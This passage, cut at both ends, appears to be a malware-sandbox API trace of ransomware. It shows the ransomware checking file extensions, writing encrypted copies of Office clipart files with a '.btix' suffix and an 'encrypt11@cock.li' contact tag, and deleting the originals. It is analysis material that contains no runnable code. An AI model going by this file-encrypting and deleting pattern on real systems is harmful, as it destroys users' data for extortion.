Office\\root\\CLIPART\\PUB60COR\\J0153398.WMF") returned 68 [0155.637] lstrlenW (lpString=".dbf") returned 4 [0155.637] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0155.637] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153398.WMF") returned 68 [0155.637] lstrlenW (lpString=".1cd") returned 4 [0155.637] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0155.637] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153398.WMF") returned 68 [0155.637] lstrlenW (lpString=".jpg") returned 4 [0155.637] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0155.645] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x269fec0 | out: lpNewFilePointer=0x0) returned 1 [0155.645] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x269fec0 | out: lpNewFilePointer=0x0) returned 1 [0155.645] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153516.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0153516.wmf.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390 [0155.647] GetLastError () returned 0x0 [0155.647] ReadFile (in: hFile=0x364, lpBuffer=0x38ef020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x269fecc, lpOverlapped=0x0 | out: lpBuffer=0x38ef020*, lpNumberOfBytesRead=0x269fecc*=0x1d08, lpOverlapped=0x0) returned 1 [0155.652] WriteFile (in: hFile=0x390, lpBuffer=0x38ef020*, nNumberOfBytesToWrite=0x1d10, lpNumberOfBytesWritten=0x269fc94, lpOverlapped=0x0 | out: lpBuffer=0x38ef020*, lpNumberOfBytesWritten=0x269fc94*=0x1d10, lpOverlapped=0x0) returned 1 [0155.653] ReadFile (in: hFile=0x364, lpBuffer=0x38ef020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x269fecc, lpOverlapped=0x0 | out: lpBuffer=0x38ef020*, lpNumberOfBytesRead=0x269fecc*=0x0, lpOverlapped=0x0) returned 1 [0155.653] WriteFile (in: hFile=0x390, lpBuffer=0x38ef020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x269fc94, lpOverlapped=0x0 | out: lpBuffer=0x38ef020*, lpNumberOfBytesWritten=0x269fc94*=0xec, lpOverlapped=0x0) returned 1 [0155.653] SetEndOfFile (hFile=0x390) returned 1 [0155.653] CloseHandle (hObject=0x390) returned 1 [0155.653] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x269fec0 | out: lpNewFilePointer=0x0) returned 1 [0155.653] SetEndOfFile (hFile=0x364) returned 1 [0155.654] CloseHandle (hObject=0x364) returned 1 [0155.654] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153516.WMF.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0155.654] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153516.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0153516.wmf")) returned 1 [0155.656] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153516.WMF") returned 68 [0155.656] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153516.WMF") returned 68 [0155.656] lstrlenW (lpString=".doc") returned 4 [0155.656] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0155.656] lstrlenW (lpString=".docx") returned 5 [0155.656] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1 [0155.656] lstrlenW (lpString=".pdf") returned 4 [0155.656] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0155.656] lstrlenW (lpString=".xls") returned 4 [0155.656] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0155.656] lstrlenW (lpString=".xlsx") returned 5 [0155.656] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1 [0155.656] lstrlenW (lpString=".ppt") returned 4 [0155.656] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0155.656] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153516.WMF") returned 68 [0155.657] lstrlenW (lpString=".zip") returned 4 [0155.657] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0155.657] lstrlenW (lpString=".rar") returned 4 [0155.657] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0155.657] lstrlenW (lpString=".bz2") returned 4 [0155.657] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0155.657] lstrlenW (lpString=".7z") returned 3 [0155.657] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0155.657] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153516.WMF") returned 68 [0155.657] lstrlenW (lpString=".dbf") returned 4 [0155.657] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0155.657] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153516.WMF") returned 68 [0155.657] lstrlenW (lpString=".1cd") returned 4 [0155.657] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0155.657] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153516.WMF") returned 68 [0155.657] lstrlenW (lpString=".jpg") returned 4 [0155.657] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0155.662] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x269fec0 | out: lpNewFilePointer=0x0) returned 1 [0155.662] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x269fec0 | out: lpNewFilePointer=0x0) returned 1 [0155.662] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0157167.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0157167.wmf.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a4 [0155.666] GetLastError () returned 0x0 [0155.666] ReadFile (in: hFile=0x37c, lpBuffer=0x38ef020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x269fecc, lpOverlapped=0x0 | out: lpBuffer=0x38ef020*, lpNumberOfBytesRead=0x269fecc*=0xb66e, lpOverlapped=0x0) returned 1 [0155.669] WriteFile (in: hFile=0x3a4, lpBuffer=0x38ef020*, nNumberOfBytesToWrite=0xb670, lpNumberOfBytesWritten=0x269fc94, lpOverlapped=0x0 | out: lpBuffer=0x38ef020*, lpNumberOfBytesWritten=0x269fc94*=0xb670, lpOverlapped=0x0) returned 1 [0155.670] ReadFile (in: hFile=0x37c, lpBuffer=0x38ef020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x269fecc, lpOverlapped=0x0 | out: lpBuffer=0x38ef020*, lpNumberOfBytesRead=0x269fecc*=0x0, lpOverlapped=0x0) returned 1 [0155.671] WriteFile (in: hFile=0x3a4, lpBuffer=0x38ef020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x269fc94, lpOverlapped=0x0 | out: lpBuffer=0x38ef020*, lpNumberOfBytesWritten=0x269fc94*=0xec, lpOverlapped=0x0) returned 1 [0155.671] SetEndOfFile (hFile=0x3a4) returned 1 [0155.673] CloseHandle (hObject=0x3a4) returned 1 [0155.673] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x269fec0 | out: lpNewFilePointer=0x0) returned 1 [0155.673] SetEndOfFile (hFile=0x37c) returned 1 [0155.674] CloseHandle (hObject=0x37c) returned 1 [0155.674] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0157167.WMF.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0155.674] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0157167.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0157167.wmf")) returned 1 [0155.677] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0157167.WMF") returned 68 [0155.677] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0157167.WMF") returned 68 [0155.677] lstrlenW (lpString=".doc") returned 4 [0155.677] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0155.677] lstrlenW (lpString=".docx") returned 5 [0155.677] lstrcmpiW (lpString1=".docx", lpString2="7.WMF") returned -1 [0155.677] lstrlenW (lpString=".pdf") returned 4 [0155.677] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0155.677] lstrlenW (lpString=".xls") returned 4 [0155.677] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0155.677] lstrlenW (lpString=".xlsx") returned 5 [0155.677] lstrcmpiW (lpString1=".xlsx", lpString2="7.WMF") returned -1 [0155.677] lstrlenW (lpString=".ppt") returned 4 [0155.677] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0155.677] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0157167.WMF") returned 68 [0155.677] lstrlenW (lpString=".zip") returned 4 [0155.677] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0155.677] lstrlenW (lpString=".rar") returned 4 [0155.677] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0155.677] lstrlenW (lpString=".bz2") returned 4 [0155.677] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0155.677] lstrlenW (lpString=".7z") returned 3 [0155.677] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0155.677] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0157167.WMF") returned 68 [0155.677] lstrlenW (lpString=".dbf") returned 4 [0155.677] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0155.677] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0157167.WMF") returned 68 [0155.677] lstrlenW (lpString=".1cd") returned 4 [0155.677] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0155.677] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0157167.WMF") returned 68 [0155.677] lstrlenW (lpString=".jpg") returned 4 [0155.678] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0155.680] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x269fec0 | out: lpNewFilePointer=0x0) returned 1 [0155.680] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x269fec0 | out: lpNewFilePointer=0x0) returned 1 [0155.681] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0157191.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0157191.wmf.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364 [0155.682] GetLastError () returned 0x0 [0155.682] ReadFile (in: hFile=0x36c, lpBuffer=0x38ef020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x269fecc, lpOverlapped=0x0 | out: lpBuffer=0x38ef020*, lpNumberOfBytesRead=0x269fecc*=0x45f8, lpOverlapped=0x0) returned 1 [0155.685] WriteFile (in: hFile=0x364, lpBuffer=0x38ef020*, nNumberOfBytesToWrite=0x4600, lpNumberOfBytesWritten=0x269fc94, lpOverlapped=0x0 | out: lpBuffer=0x38ef020*, lpNumberOfBytesWritten=0x269fc94*=0x4600, lpOverlapped=0x0) returned 1 [0155.686] ReadFile (in: hFile=0x36c, lpBuffer=0x38ef020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x269fecc, lpOverlapped=0x0 | out: lpBuffer=0x38ef020*, lpNumberOfBytesRead=0x269fecc*=0x0, lpOverlapped=0x0) returned 1 [0155.686] WriteFile (in: hFile=0x364, lpBuffer=0x38ef020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x269fc94, lpOverlapped=0x0 | out: lpBuffer=0x38ef020*, lpNumberOfBytesWritten=0x269fc94*=0xec, lpOverlapped=0x0) returned 1 [0155.686] SetEndOfFile (hFile=0x364) returned 1 [0155.687] CloseHandle (hObject=0x364) returned 1 [0155.689] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x269fec0 | out: lpNewFilePointer=0x0) returned 1 [0155.689] SetEndOfFile (hFile=0x36c) returned 1 [0155.693] CloseHandle (hObject=0x36c) returned 1 [0155.693] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0157191.WMF.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0155.694] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0157191.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0157191.wmf")) returned 1 [0155.696] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0157191.WMF") returned 68 [0155.696] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0157191.WMF") returned 68 [0155.696] lstrlenW (lpString=".doc") returned 4 [0155.696] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0155.696] lstrlenW (lpString=".docx") returned 5 [0155.696] lstrcmpiW (lpString1=".docx", lpString2="1.WMF") returned -1 [0155.696] lstrlenW (lpString=".pdf") returned 4 [0155.696] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0155.696] lstrlenW (lpString=".xls") returned 4 [0155.696] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0155.696] lstrlenW (lpString=".xlsx") returned 5 [0155.696] lstrcmpiW (lpString1=".xlsx", lpString2="1.WMF") returned -1 [0155.696] lstrlenW (lpString=".ppt") returned 4 [0155.696] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0155.696] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0157191.WMF") returned 68 [0155.696] lstrlenW (lpString=".zip") returned 4 [0155.696] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0155.696] lstrlenW (lpString=".rar") returned 4 [0155.696] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0155.696] lstrlenW (lpString=".bz2") returned 4 [0155.696] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0155.696] lstrlenW (lpString=".7z") returned 3 [0155.696] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0155.696] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0157191.WMF") returned 68 [0155.696] lstrlenW (lpString=".dbf") returned 4 [0155.697] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0155.697] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0157191.WMF") returned 68 [0155.697] lstrlenW (lpString=".1cd") returned 4 [0155.697] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0155.697] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0157191.WMF") returned 68 [0155.697] lstrlenW (lpString=".jpg") returned 4 [0155.697] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0155.701] SetFilePointerEx (in: hFile=0x3a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x269fec0 | out: lpNewFilePointer=0x0) returned 1 [0155.701] SetFilePointerEx (in: hFile=0x3a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x269fec0 | out: lpNewFilePointer=0x0) returned 1 [0155.701] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0158477.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0158477.wmf.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390 [0155.703] GetLastError () returned 0x0 [0155.703] ReadFile (in: hFile=0x3a4, lpBuffer=0x38ef020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x269fecc, lpOverlapped=0x0 | out: lpBuffer=0x38ef020*, lpNumberOfBytesRead=0x269fecc*=0x462e, lpOverlapped=0x0) returned 1 [0155.710] WriteFile (in: hFile=0x390, lpBuffer=0x38ef020*, nNumberOfBytesToWrite=0x4630, lpNumberOfBytesWritten=0x269fc94, lpOverlapped=0x0 | out: lpBuffer=0x38ef020*, lpNumberOfBytesWritten=0x269fc94*=0x4630, lpOverlapped=0x0) returned 1 [0155.714] ReadFile (in: hFile=0x3a4, lpBuffer=0x38ef020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x269fecc, lpOverlapped=0x0 | out: lpBuffer=0x38ef020*, lpNumberOfBytesRead=0x269fecc*=0x0, lpOverlapped=0x0) returned 1 [0155.714] WriteFile (in: hFile=0x390, lpBuffer=0x38ef020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x269fc94, lpOverlapped=0x0 | out: lpBuffer=0x38ef020*, lpNumberOfBytesWritten=0x269fc94*=0xec, lpOverlapped=0x0) returned 1 [0155.714] SetEndOfFile (hFile=0x390) returned 1 [0155.714] CloseHandle (hObject=0x390) returned 1 [0155.714] SetFilePointerEx (in: hFile=0x3a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x269fec0 | out: lpNewFilePointer=0x0) returned 1 [0155.714] SetEndOfFile (hFile=0x3a4) returned 1 [0155.715] CloseHandle (hObject=0x3a4) returned 1 [0155.715] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0158477.WMF.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0155.715] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0158477.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0158477.wmf")) returned 1 [0155.716] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0158477.WMF") returned 68 [0155.716] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0158477.WMF") returned 68 [0155.716] lstrlenW (lpString=".doc") returned 4 [0155.716] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0155.716] lstrlenW (lpString=".docx") returned 5 [0155.716] lstrcmpiW (lpString1=".docx", lpString2="7.WMF") returned -1 [0155.716] lstrlenW (lpString=".pdf") returned 4 [0155.716] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0155.716] lstrlenW (lpString=".xls") returned 4 [0155.716] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0155.716] lstrlenW (lpString=".xlsx") returned 5 [0155.716] lstrcmpiW (lpString1=".xlsx", lpString2="7.WMF") returned -1 [0155.716] lstrlenW (lpString=".ppt") returned 4 [0155.716] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0155.716] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0158477.WMF") returned 68 [0155.716] lstrlenW (lpString=".zip") returned 4 [0155.716] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0155.716] lstrlenW (lpString=".rar") returned 4 [0155.716] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0155.716] lstrlenW (lpString=".bz2") returned 4 [0155.716] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0155.717] lstrlenW (lpString=".7z") returned 3 [0155.717] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0155.717] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0158477.WMF") returned 68 [0155.717] lstrlenW (lpString=".dbf") returned 4 [0155.717] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0155.717] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0158477.WMF") returned 68 [0155.717] lstrlenW (lpString=".1cd") returned 4 [0155.717] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0155.717] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0158477.WMF") returned 68 [0155.717] lstrlenW (lpString=".jpg") returned 4 [0155.717] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0155.723] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x269fec0 | out: lpNewFilePointer=0x0) returned 1 [0155.723] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x269fec0 | out: lpNewFilePointer=0x0) returned 1 [0155.723] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0168644.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0168644.wmf.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x348 [0155.724] GetLastError () returned 0x0 [0155.724] ReadFile (in: hFile=0x36c, lpBuffer=0x38ef020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x269fecc, lpOverlapped=0x0 | out: lpBuffer=0x38ef020*, lpNumberOfBytesRead=0x269fecc*=0x51aa, lpOverlapped=0x0) returned 1 [0155.728] WriteFile (in: hFile=0x348, lpBuffer=0x38ef020*, nNumberOfBytesToWrite=0x51b0, lpNumberOfBytesWritten=0x269fc94, lpOverlapped=0x0 | out: lpBuffer=0x38ef020*, lpNumberOfBytesWritten=0x269fc94*=0x51b0, lpOverlapped=0x0) returned 1 [0155.729] ReadFile (in: hFile=0x36c, lpBuffer=0x38ef020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x269fecc, lpOverlapped=0x0 | out: lpBuffer=0x38ef020*, lpNumberOfBytesRead=0x269fecc*=0x0, lpOverlapped=0x0) returned 1 [0155.729] WriteFile (in: hFile=0x348, lpBuffer=0x38ef020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x269fc94, lpOverlapped=0x0 | out: lpBuffer=0x38ef020*, lpNumberOfBytesWritten=0x269fc94*=0xec, lpOverlapped=0x0) returned 1 [0155.729] SetEndOfFile (hFile=0x348) returned 1 [0155.729] CloseHandle (hObject=0x348) returned 1 [0155.729] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x269fec0 | out: lpNewFilePointer=0x0) returned 1 [0155.729] SetEndOfFile (hFile=0x36c) returned 1 [0155.730] CloseHandle (hObject=0x36c) returned 1 [0155.730] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0168644.WMF.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0155.730] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0168644.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0168644.wmf")) returned 1 [0155.731] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0168644.WMF") returned 68 [0155.731] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0168644.WMF") returned 68 [0155.731] lstrlenW (lpString=".doc") returned 4 [0155.731] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0155.731] lstrlenW (lpString=".docx") returned 5 [0155.731] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1 [0155.731] lstrlenW (lpString=".pdf") returned 4 [0155.731] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0155.731] lstrlenW (lpString=".xls") returned 4 [0155.731] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0155.731] lstrlenW (lpString=".xlsx") returned 5 [0155.731] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1 [0155.731] lstrlenW (lpString=".ppt") returned 4 [0155.731] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0155.731] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0168644.WMF") returned 68 [0155.731] lstrlenW (lpString=".zip") returned 4 [0155.731] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0155.731] lstrlenW (lpString=".rar") returned 4 [0155.731] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0155.731] lstrlenW (lpString=".bz2") returned 4 [0155.732] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0155.732] lstrlenW (lpString=".7z") returned 3 [0155.732] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0155.732] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0168644.WMF") returned 68 [0155.732] lstrlenW (lpString=".dbf") returned 4 [0155.732] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0155.732] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0168644.WMF") returned 68 [0155.732] lstrlenW (lpString=".1cd") returned 4 [0155.732] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0155.732] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0168644.WMF") returned 68 [0155.732] lstrlenW (lpString=".jpg") returned 4 [0155.732] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0155.741] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x269fec0 | out: lpNewFilePointer=0x0) returned 1 [0155.741] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x269fec0 | out: lpNewFilePointer=0x0) returned 1 [0155.741] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0171847.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0171847.wmf.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380 [0156.048] GetLastError () returned 0x0 [0156.048] ReadFile (in: hFile=0x37c, lpBuffer=0x38ef020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x269fecc, lpOverlapped=0x0 | out: lpBuffer=0x38ef020*, lpNumberOfBytesRead=0x269fecc*=0x1ae8, lpOverlapped=0x0) returned 1 [0156.051] WriteFile (in: hFile=0x380, lpBuffer=0x38ef020*, nNumberOfBytesToWrite=0x1af0, lpNumberOfBytesWritten=0x269fc94, lpOverlapped=0x0 | out: lpBuffer=0x38ef020*, lpNumberOfBytesWritten=0x269fc94*=0x1af0, lpOverlapped=0x0) returned 1 [0156.052] ReadFile (in: hFile=0x37c, lpBuffer=0x38ef020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x269fecc, lpOverlapped=0x0 | out: lpBuffer=0x38ef020*, lpNumberOfBytesRead=0x269fecc*=0x0, 